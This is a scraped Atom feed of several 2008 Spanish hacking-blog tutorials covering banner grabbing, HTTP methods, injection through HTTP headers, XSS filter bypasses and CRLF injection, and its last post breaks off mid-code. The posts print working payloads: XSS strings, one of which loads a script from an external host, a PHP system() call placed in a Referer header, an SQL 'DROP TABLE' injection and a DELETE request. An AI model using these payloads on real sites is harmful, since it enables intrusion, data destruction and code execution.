0verl0ad.blogspot.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;unless ($ARGV[0]){&lt;br /&gt;&amp;uso&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;use IO::Socket::INET;&lt;br /&gt;&lt;br /&gt;$host = $ARGV[0];&lt;br /&gt;$port = $ARGV[1];&lt;br /&gt;$size = "1000";&lt;br /&gt;&lt;br /&gt;$peticion = "HEAD / HTTP\/1.0"&lt;br /&gt;$peticion .= "\r\n\r\n"; #Concatenamos un doble CR/LF para indicar el final del Header&lt;br /&gt;&lt;br /&gt;print "[+] Conectando con $host ...\n";&lt;br /&gt;&lt;br /&gt;$socket = new IO::Socket::INET(&lt;br /&gt;      PeerAddr =&gt; $host,&lt;br /&gt;      PeerPort =&gt; $port,&lt;br /&gt;      Proto =&gt; 'tcp') || die "[-] No se ha podido conectar a $host";&lt;br /&gt;&lt;br /&gt;print $socket $peticion; #Mandamos la cabecera&lt;br /&gt;read $socket, $respuesta, $size; # Leemos la salida del Socket&lt;br /&gt;&lt;br /&gt;@salida = split(/\n/, $respuesta);&lt;br /&gt;foreach $linea (@salida){&lt;br /&gt;if ($linea =~ /Server/){&lt;br /&gt;$banner = $linea;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$_ = $banner;    #Con todo esto&lt;br /&gt;s/&amp;lt;ADDRESS&gt;*//;  #Lo que hacemos es&lt;br /&gt;s/&amp;lt;\/ADDRESS&gt;//; #Limpiar la línea de nuestro banner&lt;br /&gt;$banner = $_;    #Para que salga únicamente los datos qeu nosotros queremos&lt;br /&gt;&lt;br /&gt;print "Banner de $host =&gt; $banner";&lt;br /&gt;exit(1);&lt;br /&gt;&lt;br /&gt;sub uso {&lt;br /&gt;print "Uso: Banner &lt;&amp;lt;HOST&gt; &amp;lt;PORT&gt;";&lt;br /&gt;exit(0);&lt;br /&gt;&lt;br /&gt;#Fin del programa&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt; Con este sencillo code que os he dejado para que estudien y vean la sencillez de PERL (ahí promocionando XD). He comentado las líneas para que no haya ningun tipo de problema, de todas formas cualquier duda la pueden publicar que estaré encantado de resolverla. &lt;br /&gt;&lt;br /&gt; En la actualidad estoy betatesteando junto con Seth una herramienta para realizar un fingerprint a un host remoto, basándose en cuatro tests[2] diferentes (HEAD, DELETE, improbe protocol version y Improbe Protocol). &lt;br /&gt;&lt;br /&gt;Para finalizar sólo pediros que no me crucifiqueis por no haber extendido más sobre el tema y sólo arañar la superficie, pero no tenía qué publicar hoy, y me pareció bien hacer una introductoria al tema. Así que si quereis ver sobre este tema más a fondo, no os perdais el paper que vamos a preparar Sknight y yo ;).&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://c1c4tr1z.99k.org/?q=node/11" target="_blank"&gt;[1] El poder de los Banners.. (Banner Grabbing) por C1c4tr1Z&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.net-square.com/httprint/httprint_paper.html" target="_blank"&gt;[2] An Introduction to HTTP fingerprinting por Saumil Shah&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-752036998531117054?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/752036998531117054/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=752036998531117054' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/752036998531117054'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/752036998531117054'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/http-headers-iii-banner-grabbing.html' title='HTTP Headers III : Banner Grabbing'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-3301330614562623112</id><published>2008-09-05T00:54:00.006+02:00</published><updated>2008-09-05T22:42:55.223+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><title type='text'>HTTP Headers II : Inyectando código</title><content type='html'>&lt;style&gt;code { color: lime; } &lt;/style&gt;Por Vengador de las Sombras (FOS TEAM)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt; Sigo aquí con mi pequeña aportación sobre la utilización de los HTTP headers como vector de ataque, aportación pedida por Seth y por Em3trix y transformada en un pequeño paper. En esta ocasión quiero destacar la ayuda de Sknight , quien me ha estado pasando documentación sobre el tema en inglés, a fin de completar el paper con información referente y muy interesante (mucho más que cualqueir cosa que yo os pueda decir XD).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Bueno... en esta ocasión como el propio nombre lo indica, vamos a centrarnos en lo que viene siendo la inyección de código malicioso (ya sean sentecias SQL, PHP, JavaScript, etc.) dentro de las cabeceras para explotar algún servicio de la web. Como herramientas, vamos a usar las de siempre, el add on de firefox &lt;a href="https://addons.mozilla.org/es-ES/firefox/addon/3829" target="_blank"&gt;Live HTTP Headers&lt;/a&gt; para el sniffeo de las cabeceras HTTP y para modificarlas. Pueden usar otros, como Achilles, Tamper Data, etc... O si son más clásicos, pueden usar Netcat o Putty... para gusto los colores.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Cuando se suele hablar de "ataques a través de cabeceras" mucha gente se pierde, puesto que no sabe cómo explotar estas vulnerabilidades... Existen formas de que un usuario mande una cabecera modificada sin querer... esto lo veremos (si al final me animo) en el tercer paper (no es seguroq eu lo haga XD). En vez de eso, lo que os voy a proponer son aplicaciones web que utilizan las cabeceras y que no filtran bien las variables... luego podemos alterar el funcionamiento de dichas aplicaciones.&lt;br /&gt;&lt;br /&gt;  El primer y más sencillo caso con el que nos vamos a encontrar es un XSS. Para este ejemplo vamos a imaginarnos una aplicación PHP cuyo cometido es guardar los links que linkean a nuestra web. Existen varias formas de medir esto, una de ellas es guardando los referer que llegan a tu sitio al clickar sobre el link.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$ref_lista = fopen("links.html",a);&lt;br /&gt;fwrite($ref_lista,'&amp;lt;a href=".$_SERVER['HTTP_REFERER'].'"&gt;'.$_SERVER['HTTP_REFERER'].'&amp;lt;/a&gt;');&lt;br /&gt;fclose($ref_lista);&lt;br /&gt;?&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Es un ejemplo tosco, pero imaginémonos que ahi se guardan y despues desde la web se hace un iframe al resultado, aplicandole unas hojas CSS para darle estilo y que se integre bien con el theme de nuestra web.&lt;br /&gt;&lt;br /&gt;Si nosotros, llamémosnos "usuarios malintencionados", observamos dicho mecanismo por alguna clase de auditoría que estamos haciendo a la web, podríamos tirar de Live HTTP headers para spoofear la variable &lt;font color=red&gt;Referer:&lt;/font&gt; y agregarle un &lt;code&gt;http://unaweb.index.php" onmouseover=alert(/FoS TeaM/); target="_blank&lt;/code&gt;. Ojo y esto es importante para poder inyectar en nuestro ejemplo el código malicioso debemos de dejar una comilla abierta, para ello le agrego el atributo target. En vez de usar onmouseover, podeis usar otras formas distintas... es sólo un PoC para demostrar cómo funcionaría, ya que por ejemplo si mandasemos una cabecera con un código más sencillo tipo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;GET /index.php HTTP/1.1&lt;br /&gt;Host: Vulnerable.com&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16&lt;br /&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html*/*;q=0.5&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Referer: &lt;font color=red&gt;http://suckeame.com"&gt;&amp;lt;script&gt;...&amp;lt;/script&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Optendriamos un un resultado más satisfactorio, puesto que se ejecutaria automaticamente y no cuando pongamos únicamente el ratón encima del link. &lt;br /&gt;Esta misma técnica es extrapolable a otro tipo de aplicaciones que no filtren bien, y que usen otros campos de las cabeceras, como por ejemplo User-Agent... He querido mostrar este ejemplo porque se trata de un XSS de Tipo-2 (persistente) que ejemplifica muy bien la utilización de las cabeceras como vector para explotar un XSS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si en vez de agregar a nuestra web el archivo links.html por iframes, lo hiciesemos por una sentencia include(), el bug se agrabaría y mucho, ya que de la misma forma tendríamos una PHP injection... lo que conllevaría que al explotarlo, pudiesemos tener una shell. Como PoC dejo esta cabecera:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GET /index.php HTTP/1.1&lt;br /&gt;Host:  &lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16&lt;br /&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Referer: &amp;lt;php ob_clean; system("uname -a"); ?&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A parte de PHP injections y de explotar XSS, también se pueden usar las cabeceras para explotar SQL injections, como primer caso voy a tomar un ejemplo de un paper[1] que me ha pasado Sknight que habla sobre el protocolo HTTP, cuyo autor es Trew (al final de este paper dejo un link hacia él). El ejemplo es de un script en PHP encargado de mirar las IPs usando para ello la cabecera X_FORWARDED_FOR, y haciendo una consulta a la DB comprueba si dicha IP se encuentra en la tabla de baneados... aquí os lo dejo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];&lt;br /&gt;$consulta = mysql_query( "SELECT * FROM baneados where ip=$ip" , $conexion);&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En ese código vulnerable, podemos spoofear la cabecera y añadirle una SQL injection con el código &lt;font color=red&gt;foo'; DROP TALE baneados;--&lt;/font&gt;, provocando que se borre la tabla "baneados".&lt;br /&gt;&lt;br /&gt;  Igual que en ese ejemplo, podemos encontrar otros tipos de sentencias y como explotarlas... para ello dejo una referencia al final de este paper.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno... al final me ha sido breve el paper... quiero decirles que probablemente haga en conjunto con otra persona un paper extenso que hable de todo sobre los Headers... &lt;br /&gt;&lt;br /&gt;Ya saben, cualquier error, sugerencia o duda publiquenla.&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;b&gt;REFERENCIAS&lt;/b&gt;&lt;br /&gt;&lt;a href="http://docs.icenetx.net/index.php/HTTP_a_fondo" target="_blank"&gt;[1]HTTP a fondo&lt;/a&gt;&lt;br&gt;&lt;a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/" target="_blank"&gt;[2]SQL Injection CheatSheet&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3301330614562623112?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/3301330614562623112/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=3301330614562623112' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3301330614562623112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3301330614562623112'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/http-headers-ii-inyectando-cdigo.html' title='HTTP Headers II : Inyectando código'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2550807825242292042</id><published>2008-09-04T15:05:00.003+02:00</published><updated>2008-09-04T15:55:27.096+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><title type='text'>HTTP Headers I : Métodos HTTP</title><content type='html'>&lt;style&gt;code { color: lime; }&lt;/style&gt;Saludos!&lt;br /&gt;&lt;br /&gt;  Bueno varios lectores del blog me han pedido que hiciera un par de publicaciones acerca de los HTTP Headers, y de técnicas de explotación, y vulnerabilidades, relacionados con ellos (han sido Seth y Em3trix quienes me lo han pedido). Voy a intentar hacer dos o tres papers acerca del tema (uno sobre métodos HTTP y otro sobre HTTP headers injections, tanto de SQL como de PHP y quizás un tercero sobre CR/LF injections).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Para evitar volver a tener que escribir una introducción hacia las cabeceras HTTP, pido la lectura de mi anterior paper sobre el tema, &lt;a href="http://argeniversohack.66ghz.com/index.php/topic,2092.msg5080.html#msg5080" target="_blank"&gt;HTTP METHODS: Subiendo shell con PUT&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Si ya habeis leido ese paper, podemos continuar. Los métodos GET, POST y PUT, no los voy a explicar, puesto que los dos primeros no merecen la pena desde el punto de vista de realizar una auditoría, y el tercero ya lo vimos en profundiad en mi otro paper.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Empecemos viendo el método &lt;font color=red&gt;HEAD&lt;/font&gt;. Una cabecera que lleve ese método, tendrá una respuesta por parte del servidor como si se tratase de un GET, pero en vez de mostrar el contenido del archivo al que le hacemos "GET", loq ue mostrará será la información del servidor, incluyendo alguna información más, como por ejemplo la última vez que fue modificado el servidor. &lt;br /&gt;&lt;br /&gt;  Si leímos mi anterior paper, ya sabemos como sniffear las cabeceras y modificarlas, ahora usemos eso para poner HEAD:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;HEAD / HTTP\1.1&lt;br /&gt;Host: &lt;HOST&gt;&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16&lt;br /&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y obtenemos como respuesta:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;HTTP/1.x 200 OK&lt;br /&gt;Server: Microsoft-IIS/5.0&lt;br /&gt;Date: Thu, 04 Sep 2008 13:32:36 GMT&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;Content-Length: 35929&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Set-Cookie: ASPSESSIONIDSCQRSQTR=JFEIDLOBPNNHMEJHJDAPLNBK; path=/&lt;br /&gt;Cache-Control: private&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Cuando usamos un método que no es de los habituales (GET y POST) podemos obtener varios tipos de respuestas. Si todo ha ido bien, el servidor nos responderá con un OK, cuyo código es 200, en cambio si ha habido alguna complicación por parte del cliente (acceso restringido, no existe, o el método no esta allowed) la respuesta será de erro 4xx, por ejemplo, Method not allowed tiene como código 405, acceso restringido es 403, archivo no encotnrado en el servidor 404, etc. Cuando el error es interno del servidor, el error es un 5xx.&lt;br /&gt;&lt;br /&gt; Bien, HEAD no tiene más complicación... ahora sigamos viendo otros métodos. El método DELETE, como su propio nombre indica, es el encargado de borrar un determinado archivo que indiquemos en la cabecera... Baste decir que no siempre que esté permitido tendremos permiso para hacerlo, a veces (como bien me recordó p0lk22 en un post de #RE) tenemos que crear algún tipo de certificado. La estructura de la cabecera a construir sería:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;DELETE /index.php HTTP\1.1&lt;br /&gt;Host: &lt;HOST&gt;&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16&lt;br /&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Donde Index.php sería el archivo que deseamos borrar.&lt;br /&gt;&lt;br /&gt;Despues hay muuuchos más métodos (Copy, Move, Propfind...) pero realmente que nos hagan falta conocer, creo que únicamente TRACE.&lt;br /&gt;&lt;br /&gt;  El método TRACE actúa de espejo, haciendo que el servidor responda lo mismo que le hemos mandado... Normalmente tiene cierta relación con los XSS, de hecho con TRACE hay una variante de ese método, el llamado XST. Para serles sincero nunca he conseguido explotar algo usando TRACE, así que no puedo explicarles algo más de este método... Pero sí que puedo dejarles un paper muy interesante: &lt;a href="http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf" target="_blank"&gt;http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2550807825242292042?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2550807825242292042/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2550807825242292042' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2550807825242292042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2550807825242292042'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/http-headers-i-mtodos-http.html' title='HTTP Headers I : Métodos HTTP'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4163632075790314217</id><published>2008-09-03T23:22:00.004+02:00</published><updated>2008-09-03T23:59:17.121+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>XSS: Bypassing de filtros</title><content type='html'>&lt;style&gt;code { color: lime; }&lt;/style&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt;  Hoy os traigo una serie de formas de bypassear filtros para poder explotar un XSS... Todo está sacado de mi artículo &lt;b&gt;XSS y el Bypassing de filtros&lt;/b&gt; publicado en &lt;a href="http://argeniversohack.66ghz.com/index.php/topic,2146.0.html" target="_blank"&gt;Argeniverso Hack&lt;/a&gt;. Como el artículo era muy extenso, sólo os traigo la parte de los filtros.Mi anterior paper (publicado en #RE aquél de XSS: Saltándonos las magic quotes y otros filtros) sobre este mismo tema, no era tan extenso ni abarcaba tantos filtros, y aún así a ciertas personas le gustó (por ejemplo a FR34K), en esta ocasión espero sorprenderles nuevamente.&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;ST&lt;br /&gt;Primero definamos qué es el bypassing. El bypassing, para cualquier cosa, consiste en poder atravesar alguna medida de seguridad con un objetivo. En nuestro caso, la definición se amolda a "saltar un filtro". El primer tipo de filtro va a ser en los formularios en los cuales sólo te dejan escribir un número determinado de caracteres.&lt;br /&gt;&lt;br /&gt;En los inputs, se puede colocar un parámetro el cual defina el máximo número de caracteres que se pueden escribir dentro del input, se trata de maxlength="numero". Si encontrásemos un input al estilo de:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;input type="text" name="input" maxlength="5"/&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;No podríamos escribir nada interesante, puesto que únicamente tenemos espacio para escribir 5 letras.... Entonces si pensamos un poco, recordaremos cierta técnica enfocada a modificar un formulario antes de enviarse.... Sí, exacto: es hora de practicar form tampering.&lt;br /&gt;&lt;br /&gt;  Simplemente debemos de abrir alguna tool que nos permita modificar el código fuente, vamos al formulario en cuestión, y modificamos el maxlength por un número altísimo, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;input type="text" name="input" maxlength="&lt;font color=red&gt;99999999999999999&lt;/font&gt;"/&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora si probamos a escribir en nuestro campo, observaremos que ya sí podemos inyectar código malicioso.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Otro filtro muy común son las magic qoutes. Este filtro se ocupa de adherir una \ a las comillas que pongamos en nuestro código malicioso. Así si intentamos poner algo, "en teoría" modificaría nuestra sentencia haciéndola inservible... Pero sólo en teoría.&lt;br /&gt;&lt;br /&gt;  El primer consejo que os doy para saltar un filtro, es ver qué bloquea, y despues buscar la forma de no hacer eso que bloquea. Es decir, si no te deja poner comillas, no luches contra ello, evítalo y busca la forma de inyectar sin usar comillas. Un ejemplo sería meter el código malicioso en un .js alojado en un servidor externo, y entonces al hacer la inyección, la hacemos sin comillas:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;script src=Http://host.com/FoS.js&gt;&amp;lt;/script&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ya tendríamos nuestra bonito XSS explotado. Pero no siempre todo es tan fácil. Las magic quotes también pueden hacer el efecto contrario: que te impidan poner /, ya que le adhieren unas comillas. Estaríamos ante el mismo problema que antes... o incluso peor, puesto que se nos impide cerrar cualquier tipo de tag, ya que recordemos, en HTML es necesario cerrar los tags con &lt;/tag&gt;.&lt;br /&gt;&lt;br /&gt;    Bien, no os asusteis, recordad mi consejo: No lucheis, evitad. Pues eso, evitemos tener que cerrar tags. Tenemos que realizar una búsqueda mental de elementos que no necesiten ser cerrados. Elementos como tales no encontraremos, pero..¿ y si os dijera que se puede meter código javascript dentro de un tag ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Sip, así es. La idea original sería la de ejecutar algún evento "on" asociado a unas sentencias en JavaScript. En nuestro caso, y como ya espuse en otro paper, vamos a proceder a crear un error, y que al producirse el error tenga como respuesta la ejecución de JavaScript. Este elemento "on" es onerror. Tendríamos que poner simplemente onerror=Código Javascript.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Para producir el error vamos a poner un &lt;img&gt; con una ruta ficticia. Al no poder visualizar la imagen, saltará el consecuente error que ejecutará el código malicioso. Lo que traducido sería:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;img src=. onerror=Alert(/FoS TeaM/)&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La cosa se puede poner más peliaguda aún, si lo que hace el filtro es impedir meter letras a la variable. Me refiero a ciertos filtros que te permiten ejecutar JavaScript, pero que dentro de la sentencia en sí no te dejan usar letras ni caracteres especiales. Para estos casos, podemos transformar nuestro código malicioso en los valores ASCII de los caracteres que lo componen, y despues incrustarlos a través de &lt;font color=red&gt;String.fromCha rCode(codigo ascii)&lt;/font&gt;.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;alert(String.fromCharCode(88,83,83));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Esto provocaría una ventanita de alert con el texto "XSS". Otra forma de saltar estos filtros es poniendo código malicioso en UNICODE, es decir, representando cada caracter con su valor Hexadecimal y añadiéndole a cada uno un % delante.&lt;br /&gt;&lt;br /&gt;  Y ya por último, otro filtro que sí que nos pone las cosas bien jodidas, la función &lt;font color=red&gt;Strip_Tags&lt;/font&gt; . Esta función se encarga de eliminar de una variable todo lo que esté entre &amp;lt; &gt;. Ahora sí que la cosa está dificil, ¿eh?. ¿Qué os tengo dicho? No intentar atravesar, siempre evitar. Y eso haremos.&lt;br /&gt;&lt;br /&gt;  Que no podemos poner &amp;lt; &gt;, pues no lo ponemos. Si recordamos a los XSS en formularios, para saltarlos había que cerrar Value y a partir de ahí inyectar... Pues ahora vamos a realizar una variante de esta técnica. Si sabemos algo de CSS, podemos recordar que se pueden poner URL en algunos elementos... Entonces si a nuestro input le hacemos esto:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;input type="text" name="input" value="" STYLE="background: url(url con codigo malicioso)"&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Habremos conseguido inquistar una sentencia maligna dentro del tag propio de la página.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  En muchos blogs te permiten usar ciertos tags permitidos, como o &amp;lt;li&gt; y esas cosas. Ahí igualmente se podría inyectar el código malicioso al meter un &amp;lt;b onload="codigo"&gt;. La función Strip_tags no te deja poner tus propios tags, pero sí que te deja poner los que el webmaster haya puesto.&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;Byt3z a todos y espero que os haya gustado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4163632075790314217?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4163632075790314217/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4163632075790314217' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4163632075790314217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4163632075790314217'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/xss-bypassing-de-filtros.html' title='XSS: Bypassing de filtros'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1698618694990774357</id><published>2008-09-01T12:11:00.004+02:00</published><updated>2008-09-01T13:36:48.653+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='CRLF Injections'/><title type='text'>CRLF Injections: Infectando descargas</title><content type='html'>Saludos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Documentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me  he topado con un paper del blog de InyeXion (http://inyexion.com.ar/?num=113) que habla acerca de cómo infectar descargas usando esta técnica, aquí os la explico brevemente (recomiendo hechar un ojo al paper de InyeXion)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Un código PHP vulnerable a Source Code Disclosure, debido a que permite la descarga de cualquier tipo de archivo, puede convertirse en un vector de ataque para poder intrusear a una víctima. Tenemos un PHP  como este: &lt;br /&gt;&lt;br /&gt;&lt;font color=red&gt;header(”Content-Type: application/octet-stream”); 